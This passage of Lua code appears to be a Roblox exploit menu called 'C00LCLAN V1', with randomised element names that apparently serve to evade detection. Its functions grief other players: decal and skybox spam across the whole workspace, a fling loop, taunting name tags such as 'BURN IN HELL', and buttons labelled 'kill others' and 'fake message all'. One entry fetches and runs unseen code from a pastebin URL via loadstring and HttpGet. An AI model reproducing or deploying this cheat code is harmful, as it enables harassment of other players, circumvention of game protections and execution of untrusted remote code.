G2L["45"] = Instance.new("Script", G2L["44"]);
-- StarterGui.ssst.Frame2.TextButton.LocalScript
G2L["46"] = Instance.new("LocalScript", G2L["44"]);
-- StarterGui.ssst.Frame2.TextButton.RemoteEvent
G2L["47"] = Instance.new("RemoteEvent", G2L["44"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["48"] = Instance.new("TextButton", G2L["22"]);
G2L["48"]["BorderSizePixel"] = 0;
G2L["48"]["TextSize"] = 14;
G2L["48"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["48"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["48"]["BackgroundTransparency"] = 0.2;
G2L["48"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["48"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["48"]["Text"] = [[fake message all]];
G2L["48"]["Position"] = UDim2.new(0.35698, 0, 0.79656, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["49"] = Instance.new("Script", G2L["48"]);
-- StarterGui.ssst.Frame2.TextButton
G2L["4a"] = Instance.new("TextButton", G2L["22"]);
G2L["4a"]["BorderSizePixel"] = 0;
G2L["4a"]["TextSize"] = 14;
G2L["4a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["4a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["4a"]["BackgroundTransparency"] = 0.2;
G2L["4a"]["Size"] = UDim2.new(0, 115, 0, 33);
G2L["4a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["4a"]["Text"] = [[kill others]];
G2L["4a"]["Position"] = UDim2.new(0.67157, 0, 0.78135, 0);
-- StarterGui.ssst.Frame2.TextButton.Script
G2L["4b"] = Instance.new("Script", G2L["4a"]);
-- StarterGui.ssst.Frame.LocalScript
local function C_3()
local script = G2L["3"];
-- Made by Real_IceyDev (@lceyDex) --
-- Simple UI dragger (PC Only/Any device that has a mouse) --
local UIS = game:GetService('UserInputService')
local frame = script.Parent
local dragToggle = nil
local dragSpeed = 0.25
local dragStart = nil
local startPos = nil
local function updateInput(input)
local delta = input.Position - dragStart
local position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X,
startPos.Y.Scale, startPos.Y.Offset + delta.Y)
game:GetService('TweenService'):Create(frame, TweenInfo.new(dragSpeed), {Position = position}):Play()
end
frame.InputBegan:Connect(function(input)
if (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
dragToggle = true
dragStart = input.Position
startPos = frame.Position
input.Changed:Connect(function()
if input.UserInputState == Enum.UserInputState.End then
dragToggle = false
end
end)
end
end)
UIS.InputChanged:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
if dragToggle then
updateInput(input)
end
end
end)
end;
task.spawn(C_3);
-- StarterGui.ssst.Frame.TextButton.LocalScript
local function C_8()
local script = G2L["8"];
script.Parent.MouseButton1Click:Connect(function()
--Services
local Players = game:GetService("Players")
local Player = Players.LocalPlayer
local PlayerGui = Player:WaitForChild("PlayerGui")
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local PhysicsService = game:GetService("PhysicsService")
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:WaitForChild("Humanoid")
local HRP = Character:WaitForChild("HumanoidRootPart")
local Mouse = Player:GetMouse()
local CollectionService = game:GetService("CollectionService")
local RunService = game:GetService("RunService")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local TweenService = game:GetService("TweenService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local MarketplaceService = game:GetService("MarketplaceService")
local StarterGui = game:GetService("StarterGui")
local Debris = game:GetService("Debris")
local Lighting = game:GetService("Lighting")
local SoundService = game:GetService("SoundService")
local player = Player
local PlaceId = game.PlaceId
local JobId = game.JobId
--settings
local infjump = false
local invisRunning = false
local noclipOn = false
local noclipConn
local hoverHeight
local bindFrame, bindConn, waitingBindFunction
local customBinds = {}
local infJumpEnabled = false
local infJumpConnection = nil
local espOn = false
local spinOn = false
local spinBAV, lockBP
local savedCFrame
local invisRunning = false
local InvisibleCharacter = nil
local OriginalCharacter = nil
local voidConn = nil
local flyingEnabled = false
local invisRunning = false
local flyBG, flyBV, flyConn
local ray = workspace.CurrentCamera:ScreenPointToRay(Mouse.X, Mouse.Y)
local hit, pos = workspace:FindPartOnRay(ray, Character)
--GUI settings
local GUI_WIDTH = 400
local GUI_HEIGHT = 320
local TITLE_HEIGHT = 30
local NAV_HEIGHT = 30
local FOOTER_HEIGHT = 30
local GRID_PADDING = 4
local GRID_COLUMNS = 4
math.randomseed(os.time())
local character_set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
local string_sub = string.sub
local math_random = math.random
local table_concat = table.concat
local character_set_amount = #character_set
local number_one = 1
local default_length = 10
local function generate_string(length)
local random_string = {}
for int = number_one, length or default_length do
local random_number = math_random(number_one, character_set_amount)
local character = string_sub(character_set, random_number, random_number)
random_string[#random_string + number_one] = character
end
return table_concat(random_string)
end
-- Function manager with descriptions
local FunctionManager = {
CategorizedFunctions = { All = {} },
Categories = { "All" },
CurrentCategoryIndex= 1,
Descriptions = {},
ISFE = {},
OnFunctionAdded = Instance.new("BindableEvent"),
}
function FunctionManager:register(name, callback, category, description, FE)
category = category or "General"
if not self.CategorizedFunctions[category] then
self.CategorizedFunctions[category] = {}
table.insert(self.Categories, category)
end
self.CategorizedFunctions[category][name] = callback
self.CategorizedFunctions.All[name] = callback
self.Descriptions[name] = description or ""
self.ISFE[name] = FE or "yes"
if description == "NOT FE" then
self.ISFE[name] = "no"
end
self.OnFunctionAdded:Fire(category, name, callback)
self.OnFunctionAdded:Fire("All", name, callback)
end
function FunctionManager:getCurrentCategory()
return self.Categories[self.CurrentCategoryIndex]
end
function FunctionManager:cycleCategory()
self.CurrentCategoryIndex = self.CurrentCategoryIndex % #self.Categories + 1
return self:getCurrentCategory()
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = generate_string(math_random(1, 10))
local die = screenGui.Name
screenGui.ResetOnSpawn= false
screenGui.Parent = PlayerGui
local notificationContainer = Instance.new("Frame")
notificationContainer.Name = "NotificationContainer"
notificationContainer.Size = UDim2.new(1, 0, 1, 0)
notificationContainer.Position = UDim2.new(0, 0, 0, 0)
notificationContainer.BackgroundTransparency = 1
notificationContainer.ZIndex = 100
notificationContainer.Parent = screenGui
local function Notify(text, title, duration)
duration = duration or 4
local frame = Instance.new("Frame")
frame.AnchorPoint = Vector2.new(1, 1)
frame.Size = UDim2.new(0, 300, 0, 70)
frame.Position = UDim2.new(1, 320, 1, -10)
frame.BackgroundColor3 = Color3.fromRGB(40, 0, 0)
frame.BackgroundTransparency = 0
frame.BorderSizePixel = 0
frame.ZIndex = 200
frame.Parent = notificationContainer
local titleLabel = Instance.new("TextLabel")
titleLabel.BackgroundTransparency = 1
titleLabel.Size = UDim2.new(1, -10, 0, 24)
titleLabel.Position = UDim2.new(0, 5, 0, 4)
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.Text = title or "Notice"
titleLabel.TextColor3 = Color3.new(1, 1, 1)
titleLabel.TextSize = 18
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.ZIndex = 201
titleLabel.Parent = frame
local bodyLabel = Instance.new("TextLabel")
bodyLabel.BackgroundTransparency = 1
bodyLabel.Size = UDim2.new(1, -10, 1, -30)
bodyLabel.Position = UDim2.new(0, 5, 0, 28)
bodyLabel.Font = Enum.Font.SourceSans
bodyLabel.Text = text or ""
bodyLabel.TextColor3 = Color3.new(1, 1, 1)
bodyLabel.TextSize = 14
bodyLabel.TextWrapped = true
bodyLabel.TextXAlignment = Enum.TextXAlignment.Left
bodyLabel.ZIndex = 201
bodyLabel.Parent = frame
task.defer(function()
local slideIn = TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad, Enum.EasingDirection.Out), {
Position = UDim2.new(1, -10, 1, -10)
})
slideIn:Play()
end)
task.delay(duration, function()
local fadeOut = TweenService:Create(frame, TweenInfo.new(0.3), {
BackgroundTransparency = 1,
Position = UDim2.new(1, 320, 1, -10)
})
local titleFade = TweenService:Create(titleLabel, TweenInfo.new(0.3), {TextTransparency = 1})
local bodyFade = TweenService:Create(bodyLabel, TweenInfo.new(0.3), {TextTransparency = 1})
fadeOut:Play()
titleFade:Play()
bodyFade:Play()
fadeOut.Completed:Wait()
frame:Destroy()
end)
end
local notificationLayout = Instance.new("UIListLayout")
notificationLayout.SortOrder = Enum.SortOrder.LayoutOrder
notificationLayout.Padding = UDim.new(0, 6)
notificationLayout.HorizontalAlignment = Enum.HorizontalAlignment.Right
notificationLayout.VerticalAlignment = Enum.VerticalAlignment.Bottom
notificationLayout.Parent = notificationContainer
Notify("Welcome to C00lClan!", "Have fun!", 3)
-- Main frame
local mainFrame = Instance.new("Frame")
mainFrame.Name = generate_string(math_random(1, 10))
mainFrame.Size = UDim2.new(0, GUI_WIDTH, 0, GUI_HEIGHT)
mainFrame.Position = UDim2.new(0.5, -GUI_WIDTH/2, 0.5, -GUI_HEIGHT/2)
mainFrame.BackgroundColor3= Color3.fromRGB(25, 5, 5)
mainFrame.BorderSizePixel = 0
mainFrame.Parent = screenGui
-- Tooltip
local tooltip = Instance.new("TextLabel", screenGui)
tooltip.Name = generate_string(math_random(1, 10))
tooltip.Size = UDim2.new(0, 200, 0, 40)
tooltip.BackgroundColor3 = Color3.fromRGB(30,30,30)
tooltip.BorderSizePixel = 0
tooltip.Visible = false
tooltip.ZIndex = 100
tooltip.ClipsDescendants = false
tooltip.TextColor3 = Color3.fromRGB(255, 255, 255)
tooltip.TextWrapped = true
-- Title bar
local titleBar = Instance.new("Frame", mainFrame)
titleBar.Name = generate_string(math_random(1, 10))
titleBar.Size = UDim2.new(1,0,0,TITLE_HEIGHT)
titleBar.BackgroundColor3 = Color3.fromRGB(60,0,0)
titleBar.BorderSizePixel = 0
local titleLabel = Instance.new("TextLabel", titleBar)
titleLabel.Size = UDim2.new(1,-60,1,0)
titleLabel.Position = UDim2.new(0,4,0,0)
titleLabel.BackgroundTransparency = 1
titleLabel.Text = "C00LCLAN V1"
titleLabel.Font = Enum.Font.SourceSansBold
titleLabel.TextSize = 18
titleLabel.TextColor3 = Color3.new(1,1,1)
titleLabel.TextXAlignment = Enum.TextXAlignment.Left
titleLabel.Name = generate_string(math_random(1, 10))
local minBtn = Instance.new("TextButton", titleBar)
minBtn.Name = generate_string(math_random(1, 10))
minBtn.Size = UDim2.new(0,30,1,0)
minBtn.Position = UDim2.new(1,-30,0,0)
minBtn.Text = "_"
minBtn.Font = Enum.Font.SourceSansBold
minBtn.TextSize = 18
minBtn.TextColor3 = Color3.new(1,1,1)
minBtn.BackgroundColor3 = Color3.fromRGB(80,10,10)
minBtn.BorderSizePixel = 0
-- Drag logic
local dragging, dragInput, dragStart, startPos = false, nil
local function updateDrag(input)
local delta = input.Position - dragStart
mainFrame.Position = startPos + UDim2.new(0, delta.X, 0, delta.Y)
end
titleBar.InputBegan:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseButton1 then
dragging, dragStart, startPos = true, i.Position, mainFrame.Position
i.Changed:Connect(function()
if i.UserInputState==Enum.UserInputState.End then dragging=false end
end)
end
end)
titleBar.InputChanged:Connect(function(i)
if i.UserInputType==Enum.UserInputType.MouseMovement then dragInput=i end
end)
UserInputService.InputChanged:Connect(function(i)
if i==dragInput and dragging then updateDrag(i) end
end)
-- Category nav
local catNav = Instance.new("Frame", mainFrame)
catNav.Name = generate_string(math_random(1, 10))
catNav.Size = UDim2.new(1,0,0,NAV_HEIGHT)
catNav.Position = UDim2.new(0,0,0,TITLE_HEIGHT)
catNav.BackgroundTransparency = 1
local leftCat = Instance.new("TextButton", catNav)
leftCat.Size = UDim2.new(0,50,1,0)
leftCat.Text = "<"
leftCat.Font = Enum.Font.SourceSansBold
leftCat.TextSize = 24
leftCat.TextColor3 = Color3.new(1,1,1)
leftCat.BackgroundColor3 = Color3.fromRGB(100,0,0)
leftCat.BorderSizePixel = 0
leftCat.Name = generate_string(math_random(1, 10))
local catLabel = Instance.new("TextLabel", catNav)
catLabel.Size = UDim2.new(1,-100,1,0)
catLabel.Position = UDim2.new(0,50,0,0)
catLabel.BackgroundTransparency = 1
catLabel.Text = "All"
catLabel.Font = Enum.Font.SourceSansBold
catLabel.TextSize = 18
catLabel.TextColor3 = Color3.new(1,1,1)
catNav.Name = generate_string(math_random(1, 10))
local rightCat = leftCat:Clone()
rightCat.Parent = catNav
rightCat.Position = UDim2.new(1,-50,0,0)
rightCat.Text = ">"
rightCat.Name = generate_string(math_random(1, 10))
-- Grid
local gridFrame = Instance.new("ScrollingFrame", mainFrame)
gridFrame.Name = generate_string(math_random(1, 10))
gridFrame.ClipsDescendants= true
gridFrame.Size = UDim2.new(1,-2*GRID_PADDING,0,GUI_HEIGHT-TITLE_HEIGHT-NAV_HEIGHT-FOOTER_HEIGHT-2*GRID_PADDING)
gridFrame.Position = UDim2.new(0,GRID_PADDING,0,TITLE_HEIGHT+NAV_HEIGHT+GRID_PADDING)
gridFrame.BackgroundTransparency = 1
local gridLayout = Instance.new("UIGridLayout", gridFrame)
gridLayout.Name = generate_string(math_random(1, 10))
gridLayout.CellSize = UDim2.new(0,(GUI_WIDTH-2*GRID_PADDING-(GRID_COLUMNS-1)*GRID_PADDING)/GRID_COLUMNS,0,40)
gridLayout.CellPadding = UDim2.new(0,GRID_PADDING,0,GRID_PADDING)
gridLayout.SortOrder = Enum.SortOrder.LayoutOrder
-- Footer
local footer = Instance.new("Frame", mainFrame)
footer.Name = generate_string(math_random(1, 10))
footer.Size = UDim2.new(1,0,0,FOOTER_HEIGHT)
footer.Position = UDim2.new(0,0,1,-FOOTER_HEIGHT)
footer.BackgroundTransparency = 1
local closeBtn = Instance.new("TextButton", footer)
closeBtn.Size = UDim2.new(1,0,1,0)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 18
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.BackgroundColor3 = Color3.fromRGB(100,0,0)
closeBtn.BorderSizePixel = 0
closeBtn.Name = generate_string(math_random(1, 10))
-- Minimize toggle
local minimized = false
minBtn.MouseButton1Click:Connect(function()
minimized = not minimized
if minimized == true then
mainFrame.BackgroundTransparency = 1
else
mainFrame.BackgroundTransparency = 0
end
gridFrame.Visible = not minimized
catNav.Visible = not minimized
footer.Visible = not minimized
minBtn.Text = minimized and "◻" or "_"
end)
local function NotifyERROR(text)
Notify(text, "ERROR", 3)
end
-- Build the grid and tooltips
local function updateGrid()
for _, c in ipairs(gridFrame:GetChildren()) do
if c:IsA("TextButton") then c:Destroy() end
end
local cat = FunctionManager:getCurrentCategory()
catLabel.Text = cat
for name, cb in pairs(FunctionManager.CategorizedFunctions[cat]) do
local btn = Instance.new("TextButton")
local isFE = FunctionManager.ISFE[name]
btn.Size = UDim2.new(1,0,0,40)
btn.BackgroundColor3 = Color3.fromRGB(70,10,10)
btn.BorderSizePixel = 0
btn.Font = Enum.Font.SourceSansBold
btn.TextSize = 16
btn.TextColor3 = Color3.new(1,1,1)
btn.Text = name
btn.TextWrapped = true
btn.Parent = gridFrame
btn.Name = generate_string(math_random(1, 10))
if isFE == "no" then
btn.BackgroundColor3 = Color3.fromRGB(72, 100, 87)
end
-- tooltip
local desc = FunctionManager.Descriptions[name]
btn.MouseMoved:Connect(function()
if desc ~= "" and desc ~= nil then
tooltip.Text = desc
tooltip.Position = UDim2.new(0,Mouse.X,0,Mouse.Y - tooltip.Size.Y.Offset - 4)
tooltip.Visible = true
end
end)
btn.MouseLeave:Connect(function() tooltip.Visible = false end)
btn.MouseButton1Click:Connect(function()
pcall(cb)
end)
end
end
local logo = Instance.new("ImageLabel")
logo.Name = generate_string(math_random(1, 10))
logo.BackgroundTransparency = 1
logo.Size = UDim2.new(1, 0, 0, 100)
logo.Position = UDim2.new(0, -50, 0, -100)
logo.Image = "rbxassetid://87486058304609"
logo.ScaleType = Enum.ScaleType.Fit
logo.Parent = mainFrame
-- nav buttons
leftCat.MouseButton1Click:Connect(function()
FunctionManager.CurrentCategoryIndex = (FunctionManager.CurrentCategoryIndex - 2) % #FunctionManager.Categories + 1
updateGrid()
end)
rightCat.MouseButton1Click:Connect(function()
FunctionManager:cycleCategory()
updateGrid()
end)
closeBtn.MouseButton1Click:Connect(function()
screenGui:Destroy()
end)
FunctionManager.OnFunctionAdded.Event:Connect(updateGrid)
-- Initialize
updateGrid()
FunctionManager:register("Decal Spam", function()
local decalID = 8408806737
local function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset/?id="..decalID then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = 0
local One = Instance.new("Decal", v)
local Two = Instance.new("Decal", v)
local Three = Instance.new("Decal", v)
local Four = Instance.new("Decal", v)
local Five = Instance.new("Decal", v)
local Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset/?id="..decalID
Two.Texture = "http://www.roblox.com/asset/?id="..decalID
Three.Texture = "http://www.roblox.com/asset/?id="..decalID
Four.Texture = "http://www.roblox.com/asset/?id="..decalID
Five.Texture = "http://www.roblox.com/asset/?id="..decalID
Six.Texture = "http://www.roblox.com/asset/?id="..decalID
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
local function asdf(root)
for _, v in pairs(root:GetChildren()) do
asdf(v)
end
end
exPro(game.Workspace)
asdf(game.Workspace)
local s = Instance.new("Sky")
s.Name = "Sky"
s.Parent = game.Lighting
local skyboxID = 8408806737
s.SkyboxBk = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxDn = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxFt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxLf = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxRt = "http://www.roblox.com/asset/?id="..skyboxID
s.SkyboxUp = "http://www.roblox.com/asset/?id="..skyboxID
game.Lighting.TimeOfDay = 12
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
for i, v in pairs(game.Players:GetChildren()) do
local emit = Instance.new("ParticleEmitter")
emit.Parent = v.Character.Torso
emit.Texture = "http://www.roblox.com/asset/?id=8408806737"
emit.VelocitySpread = 20
end
while true do
game.Lighting.Ambient = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
game.Lighting.ShadowColor = Color3.new(math.random() , math.random() , math.random())
wait(0.2)
end
end, "Troll", "NOT FE")
FunctionManager:register("JOHN DOE", function()
local redSkyboxAssetId = "rbxassetid://1012887"
local sky = Lighting:FindFirstChildOfClass("Sky")
if not sky then
sky = Instance.new("Sky", Lighting)
end
sky.SkyboxBk = redSkyboxAssetId
sky.SkyboxDn = redSkyboxAssetId
sky.SkyboxFt = redSkyboxAssetId
sky.SkyboxLf = redSkyboxAssetId
sky.SkyboxRt = redSkyboxAssetId
sky.SkyboxUp = redSkyboxAssetId
if not ReplicatedStorage:FindFirstChild("juisdfj0i32i0eidsuf0iok") then
local detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = ReplicatedStorage
end
local screenGui = Instance.new("ScreenGui")
screenGui.Name = "PersistentSoundGui"
screenGui.ResetOnSpawn = false
screenGui.Parent = player:WaitForChild("PlayerGui")
local button = Instance.new("TextButton")
button.Size = UDim2.new(0, 150, 0, 50)
button.Position = UDim2.new(0.02, 0, 0.477, 0)
button.Text = "Sound Toggle"
button.Font = Enum.Font.SourceSansBold
button.TextSize = 20
button.BackgroundColor3 = Color3.fromRGB(50, 50, 50)
button.TextColor3 = Color3.new(1, 1, 1)
button.Parent = screenGui
local backgroundSound = SoundService:FindFirstChild("PersistentBGSound")
if not backgroundSound then
backgroundSound = Instance.new("Sound")
backgroundSound.Name = "PersistentBGSound"
backgroundSound.SoundId = "rbxassetid://19094700"
backgroundSound.PlaybackSpeed = 0.221
backgroundSound.Looped = true
backgroundSound.Volume = 1
backgroundSound.Parent = SoundService
backgroundSound:Play()
end
button.Activated:Connect(function()
backgroundSound.Playing = not backgroundSound.Playing
end)
local function setupCharacter(character)
local humanoid = character:WaitForChild("Humanoid")
local torso = character:WaitForChild("Torso")
local hrp = character:WaitForChild("HumanoidRootPart")
local tool = Instance.new("Tool")
tool.Name = "Slash"
tool.RequiresHandle = false
tool.Parent = player.Backpack
tool.Activated:Connect(function()
local animation = Instance.new("Animation")
animation.AnimationId = "rbxassetid://186934658"
local track = humanoid:LoadAnimation(animation)
track:Play()
track:AdjustSpeed(2)
local s = Instance.new("Sound", torso)
s.SoundId = "rbxassetid://28144425"
s:Play()
task.wait(0.2)
local s2 = Instance.new("Sound", torso)
s2.SoundId = "rbxassetid://429400881"
s2.Volume = 0.2
s2:Play()
end)
local naeeym = Instance.new("BillboardGui", character)
naeeym.Size = UDim2.new(0, 100, 0, 40)
naeeym.StudsOffset = Vector3.new(0, 2, 0)
naeeym.Adornee = character:WaitForChild("Head")
local tecks = Instance.new("TextLabel", naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Font = Enum.Font.Fantasy
tecks.TextSize = 24
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0, 0, 0)
tecks.TextColor3 = Color3.new(0, 0, 0)
tecks.Size = UDim2.new(1, 0, 0.5, 0)
tecks.Text = "John Doe"
local function changeName(newName)
tecks.Text = newName
end
local function shakeTag()
local originalOffset = naeeym.StudsOffset
for _ = 1, 10 do
naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1))
task.wait(0.05)
end
naeeym.StudsOffset = originalOffset
end
coroutine.wrap(function()
while character:IsDescendantOf(workspace) do
changeName("BURN IN HELL")
shakeTag()
task.wait(0.2)
changeName("STOP")
task.wait(0.1)
changeName("JUST GIVE UP")
shakeTag()
task.wait(0.2)
changeName("STOP")
shakeTag()
task.wait(0.2)
changeName("JOHN DOE")
shakeTag()
task.wait(0.3)
changeName("HOPELESS")
shakeTag()
task.wait(0.3)
end
end)()
local footPartSize = Vector3.new(10, 0.5, 10)
local floorPartColor = BrickColor.Black()
local floorMaterial = Enum.Material.Neon
local yOffset = -2.8
local lastPosition = hrp.Position
local standingTimer = 0
RunService.Heartbeat:Connect(function(dt)
if not character:IsDescendantOf(workspace) then return end
local currentPosition = hrp.Position
standingTimer += dt
local distanceMoved = (currentPosition - lastPosition).Magnitude
local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z)
local function createFootstep(position)
local part = Instance.new("Part")
part.Size = footPartSize
part.Position = position
part.Anchored = true
part.CanCollide = false
part.BrickColor = floorPartColor
part.Material = floorMaterial
part.Transparency = 0.5
part.Parent = workspace
task.spawn(function()
for i = 1, 10 do
part.Transparency = i * 0.03
task.wait(0.05)
end
end)
Debris:AddItem(part, 1)
end
if distanceMoved > 1 then
createFootstep(stepPosition)
lastPosition = currentPosition
standingTimer = 0
elseif standingTimer > 0.5 then
createFootstep(stepPosition)
standingTimer = 0
end
end)
local movel = 0.1
local hiddenfling = true
local function fling()
while hiddenfling and character:IsDescendantOf(workspace) do
if hrp then
local originalVelocity = hrp.Velocity
hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
hrp.Velocity = originalVelocity
RunService.Stepped:Wait()
hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0)
movel = -movel
end
RunService.Heartbeat:Wait()
end
end
coroutine.wrap(fling)()
end
player.CharacterAdded:Connect(setupCharacter)
if player.Character then
setupCharacter(player.Character)
end
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local mouse = player:GetMouse()
local function teleportToMousePosition()
local character = player.Character
if not character or not character:FindFirstChild("HumanoidRootPart") then
return
end
local target = mouse.Hit
if target then
character:MoveTo(target.Position)
end
end
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.T then
teleportToMousePosition()
end
end)
end, "Trolling", "BROKEN")
FunctionManager:register("Invis gui", function()
loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))()
end, "Trolling", "Credits to the original maker!")
FunctionManager:register("DANCE", function()
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://27789359"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim)
track:Play()
end, "Fun", "DANCE DANCE")
FunctionManager:register("Sound GUI", function()
local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui")
if gui then
gui:Destroy()
return
end
local SoundGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local AddSoundId = Instance.new("TextButton")
local SoundIds = Instance.new("TextBox")
local Default = Instance.new("TextButton")
local Credits = Instance.new("TextLabel")
local Title = Instance.new("TextLabel")
local Swap = Instance.new("ImageButton")
local PlayBackSpeed = Instance.new("TextBox")
local Volume = Instance.new("TextBox")
local Looped = Instance.new("TextBox")
local Exit = Instance.new("ImageButton")
local Frame2 = Instance.new("Frame")
local Open = Instance.new("ImageButton")
local spoky = Instance.new("Sound")
local c00lflag = Instance.new("Sound")
local drag = Instance.new("UIDragDetector")
drag.Parent = Frame
c00lflag.Name = "c00lsound23sas"
c00lflag.Parent = Frame
spoky.Parent = Frame
spoky.SoundId = "rbxassetid://95156028272944"
spoky.Volume = 3
spoky.PlaybackSpeed = 0.2
spoky.Name = "spoky"
--Properties:
SoundGui.Name = "SoundGui"
SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
SoundGui.ResetOnSpawn = false
Frame.Parent = SoundGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 4)
Frame.BorderSizePixel = 2
Frame.Position = UDim2.new(0, 700, 0, 300)
Frame.Size = UDim2.new(0, 398, 0, 206)
AddSoundId.Name = "AddSoundId"
AddSoundId.Parent = Frame
AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0)
AddSoundId.BorderSizePixel = 2
AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0)
AddSoundId.Size = UDim2.new(0, 307, 0, 36)
AddSoundId.Font = Enum.Font.Arial
AddSoundId.Text = "Add Sound!"
AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255)
AddSoundId.TextSize = 29.000
SoundIds.Name = "SoundIds"
SoundIds.Parent = Frame
SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0)
SoundIds.BorderSizePixel = 2
SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
SoundIds.Size = UDim2.new(0, 307, 0, 33)
SoundIds.Font = Enum.Font.Arial
SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://"
SoundIds.Text = ""
SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255)
SoundIds.TextScaled = true
SoundIds.TextSize = 14.000
SoundIds.TextWrapped = true
Default.Name = "Default"
Default.Parent = Frame
Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Default.BorderColor3 = Color3.fromRGB(255, 0, 0)
Default.BorderSizePixel = 2
Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0)
Default.Size = UDim2.new(0, 307, 0, 28)
Default.Font = Enum.Font.Arial
Default.Text = "Spooky Scary Skeletons!"
Default.TextColor3 = Color3.fromRGB(255, 255, 255)
Default.TextSize = 23.000
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Credits.BackgroundTransparency = 1.000
Credits.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0)
Credits.Size = UDim2.new(0, 153, 0, 17)
Credits.Font = Enum.Font.SourceSans
Credits.Text = "made by: 1known. On discord!"
Credits.TextColor3 = Color3.fromRGB(255, 255, 255)
Credits.TextSize = 14.000
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1.000
Title.BorderColor3 = Color3.fromRGB(255, 0, 4)
Title.BorderSizePixel = 2
Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0)
Title.Size = UDim2.new(0, 231, 0, 48)
Title.Font = Enum.Font.Arial
Title.Text = "c00lSound GUI!"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 33.000
Title.TextWrapped = true
Swap.Name = "Swap"
Swap.Parent = Frame
